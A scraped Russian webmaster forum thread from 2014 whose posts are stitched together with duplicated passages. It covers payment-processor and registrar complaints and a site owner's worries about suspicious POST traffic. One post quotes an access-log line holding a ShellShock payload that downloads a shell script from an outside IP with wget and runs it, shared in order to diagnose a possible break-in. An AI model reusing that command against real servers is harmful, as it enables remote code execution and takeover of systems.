Мы работали с Интеркассой как юрлица по договору с ООО "ИнтерМаркет". Когда ОКЕАН БАНК лишили лицензии, они отказались переводить остаток средств. До сих пор не перевели. Сейчас они свое старое юрлицо сливают и договора заключают уже от нового юрлица.
А что, удобно, появились проблемы, меняем юрлицо и начинаем заново собирать бабло...
Естественно, сняли прием через них. Где гарантия, что завтра они опять не сменят юрлицо...
Даже при работе с юрлицами по официальным договорам они умудряются кидать...
Написал, как обычно им на почту, мне пришло письмо, смысл которого "Мы больше не принимаем заявки по почте, иди проходи квест на сайте, чтобы нам написать."
Пошел на сайт. Полчаса искал куда же мне зайти, чтобы в итоге появилась форма отдела, который мне нужен
У них есть support@, manager@, cloud@, hosting@ - все разные очереди. Написать просто так на почту уже нельзя. На сайте если ткнуть в первую попавшуюся тему и написать туда вопрос по хостингу, он может утий к манагерам, у которых может быть уже не рабочее время или выходной. И нужно ждать, когда они придут на работу и перекинут тикет в очередь хостинга...
Догадка насчет взлома не подтвердилась. Подобные запросы в логах уже как месяц (нацеленные на уязвимость bash). А непонятные POST запросы только второй день...
Все же непонятна цель этих запросов... Генерация входящего трафика только, даже вред не наносит никакой на первый взгляд.
Полез смотреть, ShellShock конечно же не исправлен был, bash старый. Но на сервере нет ни perl, ни FastCGI - вроде не должно было сработать (как мне сказали)... А так не уверен.
---------- Добавлено 20.12.2014 в 21:45 ----------
Мы работали с Интеркассой как юрлица по договору с ООО "ИнтерМаркет". Когда ОКЕАН БАНК лишили лицензии, они отказались переводить остаток средств. До сих пор не перевели. Сейчас они свое старое юрлицо сливают и договора заключают уже от нового юрлица.
А что, удобно, появились проблемы, меняем юрлицо и начинаем заново собирать бабло...
Естественно, сняли прием через них. Где гарантия, что завтра они опять не сменят юрлицо...
Даже при работе с юрлицами по официальным договорам они умудряются кидать...
Что-то как-то не понял...
300 -> 1000
Вообще ничего не делал...
Снял ссылки три дня назад. Сегодня вернулся ТИЦ, и вернулся в ЯК
Еще есть копия?
Так а кому 2domains то принадлежит. Посмотрите в ЕГРЮЛ
Поддержка 2domains = поддержка Рег.ру. Пишите сразу в Рег.ру
С РЕГ.РУ явно что-то не то...
Написал, как обычно им на почту, мне пришло письмо, смысл которого "Мы больше не принимаем заявки по почте, иди проходи квест на сайте, чтобы нам написать."
Пошел на сайт. Полчаса искал куда же мне зайти, чтобы в итоге появилась форма отдела, который мне нужен
У них есть support@, manager@, cloud@, hosting@ - все разные очереди. Написать просто так на почту уже нельзя. На сайте если ткнуть в первую попавшуюся тему и написать туда вопрос по хостингу, он может утий к манагерам, у которых может быть уже не рабочее время или выходной. И нужно ждать, когда они придут на работу и перекинут тикет в очередь хостинга...
Короче, "все для людей" в очередной раз...
Спасибо.
Догадка насчет взлома не подтвердилась. Подобные запросы в логах уже как месяц (нацеленные на уязвимость bash). А непонятные POST запросы только второй день...
Все же непонятна цель этих запросов... Генерация входящего трафика только, даже вред не наносит никакой на первый взгляд.
Сколько POST запросов делается с одного IP?
Максимально с одинакового IP было 135. Иногда идут с одного сразу 3-5-10 раз подряд.
Посчитал и выделил пул в ~230 IP, с которых запросы были больше всего раз. Но очень много, с которых всего по одному-два раза был запрос.
---------- Добавлено 20.12.2014 в 21:41 ----------
Просто боюсь, может ломанули, превратили в бот и теперь шлют "команды", т.к. заметил в логах ошибок такую запись:
1.9.153.65 - - [20/Dec/2014:04:08:38 +0300] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 361 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1"
Полез смотреть, ShellShock конечно же не исправлен был, bash старый. Но на сервере нет ни perl, ни FastCGI - вроде не должно было сработать (как мне сказали)... А так не уверен.
---------- Добавлено 20.12.2014 в 21:45 ----------
Содержание того файла, который пытались загрузить через уязвимость bash, приведено тут - http://jrnerqbbzrq.blogspot.ru/2014/12/a-little-shellshock-fun.html
Не знаю что он делает, не спец :)
Как отфильтровали?
RewriteCond %{REQUEST_METHOD} POST
RewriteRule ^index.php$ - [L,F]
А если запросы POST а не GET - разве такие страницы появятся? По факту url же не меняется никак...